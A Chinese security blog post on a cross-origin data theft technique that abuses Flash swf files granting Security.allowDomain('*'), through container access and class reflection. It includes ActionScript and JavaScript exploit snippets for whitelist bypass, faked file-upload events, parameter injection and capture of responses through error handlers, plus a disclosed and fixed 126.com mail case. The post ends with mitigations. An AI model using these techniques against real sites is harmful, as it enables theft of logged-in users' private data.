zoukankan      html  css  js  c++  java
  • 隐私泄露杀手锏 —— Flash 权限反射

    [简版:https://weibo.com/p/1001603881940380956046]

    前言

    一直以为该风险早已被重视,但最近无意中发现,仍有不少网站存在该缺陷,其中不乏一些常用的邮箱、社交网站,于是有必要再探讨一遍。

    事实上,这本不是什么漏洞,是 Flash 与生俱来的一个正常功能。但由于一些 Web 开发人员了解不够深入,忽视了该特性,从而埋下安全隐患。

    原理

    这一切还得从经典的授权操作说起:

    Security.allowDomain('*')
    

    对于这行代码,或许都不陌生。尽管知道使用 * 是有一定风险的,但想想自己的 Flash 里并没有什么高危操作,把我拿去又能怎样?

    因此,一些开发人员以为只要不与 JS 通信,就高枕无忧了。同时为了图方便,直接给 swf 授权了 *,省去一大堆信任列表。

    事实上,Flash 被网页嵌套仅仅是其中一种而已,更普遍的,则是 swf 之间的嵌套。然而无论何种方式,都是通过 Security.allowDomain 进行授权的 —— 这意味着,一个 * 不仅允许被第三方网页调用,同时还包括了其他任意 swf!

    被网页嵌套,或许难以找到利用价值。但被自己的同类嵌套,可用之处就大幅增加了。因为它们都是 Flash,位于同一个运行时里,相互之间存在着密切的关联。

    我们如何将这种关联,进行充分利用呢?

    利用

    关联容器

    在 Flash 里,舞台(stage)是这个世界的根基。无论加载多少个 swf,舞台始终只有一个。任何元素(DisplayObject)必须添加到舞台、或其子容器下,才能展示和交互。

    因此,不同 swf 创建的元素,都是通过同一个舞台展示的。它们能感知相互的存在,只是受到同源策略的限制,未必能相互操作。

    然而,一旦某个 swf 主动开放权限,那么它的元素就不再受到保护,能被任意 swf 访问了!

    听起来似乎不是很严重。我创建的界面元素,又有何访问价值?也就获取一些坐标、颜色等信息而已。

    偷窥元素的自身属性,或许并没什么意义。但并非所有的元素,都是为了纯粹展示的 —— 有时为了扩展功能,在 DisplayObject 之上实现额外的功能。

    最典型的,就是每个 swf 的主类 —— 它们都继承于 Sprite,即使程序里没用到任何界面相关的。

    有这样扩展元素存在,我们就可以访问那些额外的功能了。

    开始我们的第一个案例。某个 swf 的主类在 Sprite 的基础上,扩展了网络加载的功能:

    // vul.swf
    public class Vul extends Sprite {
    
        public var urlLoader:URLLoader = new URLLoader();
        
        public function download(url:String) : void {
            urlLoader.load(new URLRequest(url));
            ...
        }
    
        public function Vul() {
            Security.allowDomain('*');
            ...
        }
        ...
    }
    

    通过第三方 swf,我们将其加载进来。由于 Vul 继承了 Sprite,因此拥有了元素的基因,我们可以从容器中找到它。

    同时它也是主类,默认会被添加到 Loader 这个加载容器里。

    // exp.swf
    var loader:Loader = new Loader();
    loader.contentLoaderInfo.addEventListener('complete', function(e:Event) : void {
        var main:* = loader.getChildAt(0);
    
        trace(main);    // [object Vul]
    });
    loader.load(new URLRequest('//swf-site/vul.swf'));
    

    因为 Loader 是子 swf 的默认容器,所以其中第一个元素显然就是子 swf 的主类:Vul。

    由于 Vul 定义了一个叫 download 的公开方法,并且授权了所有的域名,因此在第三方 exp.swf 里,自然也能调用它:

    main.download('//swf-site/data');
    

    同时 Vul 中的 urlLoader 也是一个公开暴露的成员变量,同样可被外部访问到,并对其添加数据接收事件:

    var ld:URLLoader = main.urlLoader;
    ld.addEventListener('complete', function(e:Event) : void {
        trace(ld.data);
    });
    

    尽管这个 download 方法是由第三方 exp.swf 发起的,但最终执行 URLLoaderload 方法时,上下文位于 vul.swf 里,因此这个请求仍属于 swf-site 的源。

    于是攻击者从任意位置,跨站访问 swf-site 下的数据了。

    更糟的是,Flash 的跨源请求可通过 crossdomain.xml 来授权。如果某个站点允许 swf-site,那么它也成了受害者。

    如果用户正处于登录状态,攻击者悄悄访问带有个人信息的页面,用户的隐私数据可能就被泄露了。攻击者甚至还可模拟用户请求,将恶意链接发送给其他好友,导致蠕虫传播。

    ActionScript 虽然是强类型的,但只是开发时的约束,在运行时仍和 JavaScript 一样,可动态访问属性。

    类反射

    通过容器这个桥梁,我们可访问到子 swf 中的对象。但前提条件仍过于理想,现实中能利用的并不多。

    如果目标对象不是一个元素,也没有和公开的对象相关联,甚至根本就没有被实例化,那是否就无法获取到了?

    做过页游开发的都试过,将一些后期使用的素材打包在独立的 swf 里,需要时再加载回来从中提取。目标 swf 仅仅是一个资源包,其中没有任何脚本,那是如何参数提取的?

    事实上,整个过程无需子 swf 参与。所谓的『提取』,其实就是 Flash 中的反射机制。通过反射,我们即可隔空取物,直接从目标 swf 中取出我们想要的类。

    因此我们只需从目标 swf 里,找到一个使用了网络接口类,即可尝试为我们效力了。

    开始我们的第二个案例。这是某电商网站 CDN 上的一个广告活动 swf,反编译后发现,其中一个类里封装了简单的网络操作:

    // vul.swf
    public class Tool {
        public function getUrlData(url:String, cb:Function) : void {
            var ld:URLLoader = new URLLoader();
            ld.load(new URLRequest(url));
            ld.addEventListener('complete', function(e:Event) : void {
                cb(ld.data);
            });
            ...
        }
        ...
    

    在正常情况下,需一定的交互才会创建这个类。但反射,可以让我们避开这些条件,提取出来直接使用:

    // exp.swf
    var loader:Loader = new Loader();
    loader.contentLoaderInfo.addEventListener('complete', function(e:Event) : void {
        var cls:* = loader.contentLoaderInfo.applicationDomain.getDefinition('Tool');
        var obj:* = new cls;
    
        obj.getUrlData('http://victim-site/user-info', function(d:*) : void {
            trace(d);
        });
    });
    loader.load(new URLRequest('//swf-site/vul.swf'));
    

    由于 victim-site/crossdomain.xml 允许 swf-site 访问,于是 vul.swf 在不经意间,就充当了隐私泄露的傀儡。

    攻击者拥有了 victim-site 的访问权,即可跨站读取页面数据,访问用户的个人信息了。

    由于大多 Web 开发者对 Flash 的安全仍局限于 XSS 之上,从而忽视了这类风险。即使在如今,网络上仍存在大量可被利用的缺陷 swf 文件,甚至不乏一些大网站也纷纷中招。

    当然,即使有反射这样强大的武器,也并非所有的 swf 都是可以利用的。显然,要符合以下几点才可以:

    • 执行 Security.allowDomain(可控站点)

    • 能控制触发 URLLoader/URLStream 的 load 方法,并且 url 参数能自定义

    • 返回的数据可被获取

    第一条:这就不用说了,反射的前提也是需要对方授权的。

    第二条:理想情况下,可直接调用反射类中提供的加载方法。但现实中未必都是 public 的,这时就无法直接调用了。只能分析代码逻辑,看能不能通过公开的方法,构造条件使得流程走到请求发送的那一步。同时 url 参数也必须可控,否则也就没意义了。

    第三条:如果只能将请求发送出去,却不能拿到返回的内容,同样也是没有意义的。

    也许你会说,为什么不直接反射出目标 swf 中的 URLLoader 类,那不就可以直接使用了吗。然而事实上,光有类是没用的,Flash 并不关心这个类来自哪个 swf,而是看执行 URLLoader::load 时,当前位于哪个 swf。如果在自己的 swf 里调用 load,那么请求仍属于自己的源。

    同时,AS3 里已没有 eval 函数了。唯一能让数据变指令的,就是 Loader::loadBytes,但这个方法也有类似的判断。

    因此我们还是得通过目标 swf 里的已有的功能,进行利用。

    案例

    这里分享一个现实中的案例,之前已上报并修复了的。

    这是 126.com 下的一个 swf,位于 http://mail.126.com/js6/h/flashRequest.swf

    反编译后可发现,主类初始化时就开启了 * 的授权,因此整个 swf 中的类即可随意使用了!

    同时,其中一个叫 FlashRequest 的类,封装了常用的网络操作,并且关键方法都是 public 的:

    我们将其反射出来,根据其规范调用,即可发起跨源请求了!

    由于网易不少站点的 crossdomain.xml 都授权了 126.com,因此可暗中查看已登录用户的 163/126 邮件了:

    甚至还可以读取用户的通信录,将恶意链接传播给更多的用户!

    进阶

    借助爬虫和工具,我们可以找出不少可轻易利用的 swf 文件。不过本着研究的目的,我们继续探讨一些需仔细分析才能利用的案例。

    进阶 No.1 —— 绕过路径检测

    当然也不是所有的开发人员,都是毫不思索的使用 Security.allowDomain('*') 的。

    一些有安全意识的,即使用它也会考虑下当前环境是否正常。例如某个邮箱的 swf 初始化流程:

    // vul-1.swf
    public function Main() {
        var host:String = ExternalInterface.call('function(){return window.location.host}');
    
        if host not match white-list
            return
    
        Security.allowDomain('*');
        ...
    

    它会在授权之前,对嵌套的页面进行判断:如果不在白名单列表里,那就直接退出。

    由于白名单的匹配逻辑很简单,也找不出什么瑕疵,于是只能将目光转移到 ExternalInterface 上。为什么要使用 JS 来获取路径?

    因为 Flash 只提供当前 swf 的路径,并不知道自己是被谁嵌套的,于是只能用这种曲线救国的办法了。

    不过上了 JS 的贼船,自然就躲不过厄运了。有数不清的前端黑魔法正等着跃跃欲试。Flash 要和各种千奇百怪的浏览器通信,显然需要一套消息协议,以及一个 JS 版的中间桥梁,用以支撑。了解 Flash XSS 的应该都不陌生。

    在这个桥梁里,其中有一个叫 __flash__toXML 的函数,负责将 JS 执行后的结果,封装成消息协议返回给 Flash。如果能搞定它,那一切就好办了。

    显然这个函数默认是不存在的,是载入了 Flash 之后才注册进来的。既然是一个全局函数,页面中的 JS 也能重定义它:

    // exp-1.js
    function handler(str) {
        console.log(str);
        return '<string>hi,jack</string>';
    }
    setInterval(function() {
        var rawFn = window.__flash__toXML;
        if (rawFn && rawFn != handler) {
            window.__flash__toXML = handler;
        }
    }, 1);
    

    通过定时器不断监控,一旦出现就将其重定义。于是用 ExternalInterface.call 无论执行什么代码,都可以随意返回内容了!

    为了消除定时器的延迟误差,我们先在自己的 swf 里,随便调用下 ExternalInterface.call 进行预热,让 __flash__toXML 提前注入。之后子 swf 使用时,已经是被覆盖的版本了。


    当然,即使不使用覆盖的方式,我们仍可以控制 __flash__toXML 的返回结果。

    仔细分析下这个函数,其中调用了 __flash__escapeXML

    function __flash__toXML(value) {
        var type = typeof(value);
        if (type == "string") {
            return "<string>" + __flash__escapeXML(value) + "</string>";
        ...
    }
    
    function __flash__escapeXML(s) {
        return s.replace(/&/g, "&amp;").replace(/</g, "&lt;") ... ;
    }
    

    里面有一大堆的实体转义,但又如何进行利用?

    因为它是调用 replace 进行替换的,然而在万恶的 JS 里,常用的方法都是可被改写的!我们可以让它返回任何想要的值:

    // exp-1.js
    String.prototype.replace = function() {
        return 'www.test.com';
    };
    

    甚至还可以针对 __flash__escapeXML 的调用,返回特定值:

    String.prototype.replace = function F() {
        if (F.caller == __flash__escapeXML) {
            return 'www.test.com';
        }
        ...
    };
    

    于是 ExternalInterface.call 的问题就这样解决了。人为返回一个白名单里的域名,即可绕过初始化中的检测,从而顺利执行 Security.allowDomain(*)。

    所以,绝不能相信 JS 返回的内容。连标点符号都不能信!


    进阶 No.2 —— 构造请求条件

    下面这个案例,是某社交网站的头像上传 Flash。

    不像之前那些,都可顺利找到公开的网络接口。这个案例十分苛刻,搜索整个项目,只出现一处 URLLoader,而且还是在 private 方法里。

    // vul-2.swf
    public class Uploader {
    
        public function Uploader(file:FileReference) {
            ...
            file.addEventListener(Event.SELECT, handler);
        }
        
        private function handler(e:Event) : void {
            var file:FileReference = e.target as FileReference;
            
            // check filename and data
            file.name ...
            file.data ...
    
            // upload(...)
        }
    
        private function upload(...) : void {
            var ld:URLLoader = new URLLoader();
            var req:URLRequest = new URLRequest();
            req.method = 'POST';
            req.data = ...;
            req.url = Param.service_url + '?xxx=' ....
            ld.load(req);
        }
    }
    

    然而即使要触发这个方法也非常困难。因为这是一个上传控件,只有当用户选择了文件对话框里的图片,并通过参数检验,才能走到最终的上传位置。

    唯一可被反射调用的,就是 Uploader 类自身的构造器。同时控制传入的 FileReference 对象,来构造条件。

    // exp-2.swf
    var file:FileReference = new FileReference();
    
    var cls:* = ...getDefinition('Uploader');
    var obj:* = new cls(file);
    

    然而 FileReference 不同于一般的对象,它会调出界面。如果中途弹出文件对话框,并让用户选择,那绝对是不现实的。

    不过,弹框和回调只是一个因果关系而已。弹框会产生回调,但回调未必只有弹框才能产生。因为 FileReference 继承了 EventDispatcher,所以我们可以人为的制造一个事件:

    file.dispatchEvent(new Event(Event.SELECT));
    

    这样,就进入文件选中后的回调函数里了。

    由于这一步会校验文件名、内容等属性,因此还得事先给这些属性赋值。然而遗憾的是,这些属性都是只读的,根本无法设置。

    等等,为什么会有只读的属性?属性不就是一个成员变量吗,怎么做到只能读不可写?除非是 const,但那是常量,并非只读属性。

    原来,所谓的只读,就是只提供了 getter、但没有 setter 的属性。这样就保证了属性内部可变,但外部不可写的特征。

    如果我们能 hook 这个 getter,那就能返回任意值了。然而 AS 里的类默认都是密闭的,不像 JS 那样灵活,可随意篡改原型链。

    事实上在高级语言里,有着更为优雅的 hook 方式,我们称作『重写』。我们创建一个继承 FileReference 的类,即可重写那些 getter 了:

    // exp-2.swf
    class FileReferenceEx extends FileReference {
    
        override public function get name() : String {
            return 'hello.gif';
        }
        override public function get data() : ByteArray {
            var bytes:ByteArray = new ByteArray();
            ...
            return bytes;
        }
    }
    

    根据著名的『里氏替换原则』,任何基类可以出现的地方,子类也一定可以出现。所以传入这个 FileReferenceEx 也是可接受的,之后一旦访问 name 等属性时,自然就落到我们的 getter 上了。

    // exp-2.swf
    var file:FileReference = new FileReferenceEx();  // !!!
    ...
    var obj:* = new cls(file);
    

    到此,我们成功模拟了文件选择的整个流程。

    接着就到关键的上传位置了。庆幸的是,它没写死上传地址,而是从环境变量(loaderInfo.parameters)里读取。

    说到环境变量,大家首先想到网页中 Flash 元素的 flashvars 属性,但其实还有两个地方可以传入:

    • swf url query(例如 .swf?a=1&b=2)

    • LoaderContext

    由于 url query 是固定的,后期无法修改,所以选择 LoaderContext 来传递:

    // exp-2.swf
    var loader:Loader = new Loader();
    var ctx:LoaderContext = new LoaderContext();
    ctx.parameters = {
        'service_url': 'http://victim-site/user-data#'
    };
    loader.load(new URLRequest('http://cross-site/vul-2.swf'), ctx);
    

    因为 LoaderContext 里的 parameters 是运行时共享的,这样就能随时更改环境变量了:

    // next request
    ctx.parameters.service_url = 'http://victim-site/user-data-2#';
    

    同时为了不让多余的参数发送上去,还可以在 URL 末尾放置一个 #,让后面多余的部分变成 Hash,就不会走流量了。

    尽管这是个很苛刻的案例,但仔细分析还是找出解决办法的。

    当然,我们目的并不是为了结果,而是其中分析的乐趣:)


    进阶 No.3 —— 捕获返回数据

    当然,光把请求发送出去还是不够的,如果无法拿到返回的结果,那还是白忙活。

    最理想的情况,就是能传入回调接口,这样就可直接获得数据了。但现实未必都是这般美好,有时我们得自己想办法取出数据。

    一些简单的 swf 通常不会封装一个的网络请求类,每次使用时都直接写原生的代码。这样,可控的因子就少很多,利用难度就会大幅提升。

    例如这样的场景,尽管能控制请求地址,但由于没法拿到 URLLoader,也就无从获取返回数据了:

    public function download(url:String) : void {
        var ld:URLLoader = new URLLoader();
        ld.load(new URLRequest(url));
        ld.addEventListener('complete', function(e:Event) : void {
            // do nothing
        });
    }
    

    但通常不至于啥也不做,多少都会处理下返回结果。这时就得寻找机会了。

    一旦将数据赋值到公开的成员变量里,那么我们就可通过轮询的方式来获取了:

    public var data:*;
    ...
    ld.addEventListener('complete', function(e:Event) : void {
        data = e.data;
    });
    

    或者,将数据存放到了某个元素里,用于显示:

    private var textbox:TextField = new TextField();
    ...
    addChild(textbox);
    ...
    ld.addEventListener('complete', function(e:Event) : void {
        textbox.text = e.data;
    });
    

    同样可以利用文章开头提到的方法,从父容器里找出相应的元素,定时轮询其中的内容。

    不过这些都算容易解决的。在一些场合,返回的数据根本不符合预期的格式,因此就无法处理直接报错了。


    下面是个非常普遍的案例。在接收事件里,将数据进行固定格式的解码:

    // vul-3.swf
    import com.adobe.serialization.json.JSON;
    
    ld.addEventListener('complete', function(e:Event) : void {
        var data:* = JSON.decode(e.data);
        ...
    });
    

    因为开发人员已经约定使用 JSON 作为返回格式,所以压根就没容错判断,直接将数据进行解码。

    然而我们想要跨站读取的文件,未必都是 JSON 格式的。HTML、XML 甚至 JSONP,都被拍死在这里了。

    难道就此放弃?都报错无法往下走了,那还能怎么办。唯一可行的,就是将错就错,往『错误』的方向走。

    一个强大的运行时系统,都会提供一些接口,供开发者捕获全局异常。HTML 里有,Flash 里当然也有,甚至还要强大的多 —— 不仅能够获得错误相关的信息,甚至还能拿到 throw 出来的那个 Error 对象!

    一般通用的类库,往往会有健全的参数检验。当遇到不合法的参数时,通常会将参数连同错误信息,作为异常抛出来。如果某个异常对象里,正好包含了我们想要的敏感数据的话,那就非常美妙了。

    就以 JSON 解码为例,我们写个 Demo 验证一下:

    var s:String = '<html>
    <div>
    123
    </div>
    </html>';
    JSON.decode(s);
    

    我们尝试将 HTML 字符传入 JSON 解码器,最终被断在了类库抛出的异常处:

    异常中的前两个参数,看起来没多大意义。但第三个参数,里面究竟藏着是什么?

    不用猜想,这正是我们想要的东西 —— 传入解码器的整个字符参数!

    如此,我们就可在全局异常捕获中,拿到完整的返回数据了:

    loaderInfo.uncaughtErrorEvents.addEventListener(UncaughtErrorEvent.UNCAUGHT_ERROR, function(e:UncaughtErrorEvent) : void {
        trace(e.error.text);
    });
    

    惊呆了吧!只要仔细探索,一些看似不可能实现的,其实也能找到解决方案。

    补救

    如果从代码层面来修补,短时间内也难以完成。

    大型网站长期以来,积累了相当数量的 swf 文件。有时为了解决版本冲突,甚至在文件名里使用了时间、摘要等随机数,这类的 swf 当时的源码,或许早已不再维护了。

    因此,还是得从网站自身来强化。crossdomain.xml 中不再使用的域名就该尽早移除,需要则尽可能缩小子域范围。毕竟,只要出现一个带缺陷的 swf 文件,整个站点的安全性就被拉低了。

    事实上,即使通过反射目标 swf 实现的跨站请求,referer 仍为攻击者的页面。因此,涉及到敏感数据读取的操作,验证一下来源还是很有必要的。

    作为用户来说,禁用第三方 cookie 实在太有必要了。如今 Safari 已默认禁用,而 Chrome 则仍需手动添加。

    总结

    最后总结下,本文提到的 3 类权限:

    • 代码层面(public / private / ...)

    • 模块层面(Security.allowDomain)

    • 站点层面(crossdomain.xml)

    只要这几点都满足,就很有可能被用于跨源的请求。

    也许会觉得 Flash 里坑太多了,根本防不胜防。但事实上这些特征早已存在,只是未被开发者重视而已。以至于各大网站如今仍普遍躺枪。

    当然,信息泄露对每个用户都是受害者。希望能让更多的开发者看到,及时修复安全隐患。

  • 相关阅读:
    关于欧拉函数
    JavaWeb技术
    jQuery介绍
    Spring之事务管理
    Hibernate课堂笔记
    JSON简介
    Ajax简介
    Java代码生成图片验证码
    JAVA学习笔记——ClassLoader中getResource方法的路径参数
    JAVA OOP学习笔记——多态(polymorphism)
  • 原文地址:https://www.cnblogs.com/index-html/p/swf-reflect-priv.html
Copyright © 2011-2022 走看看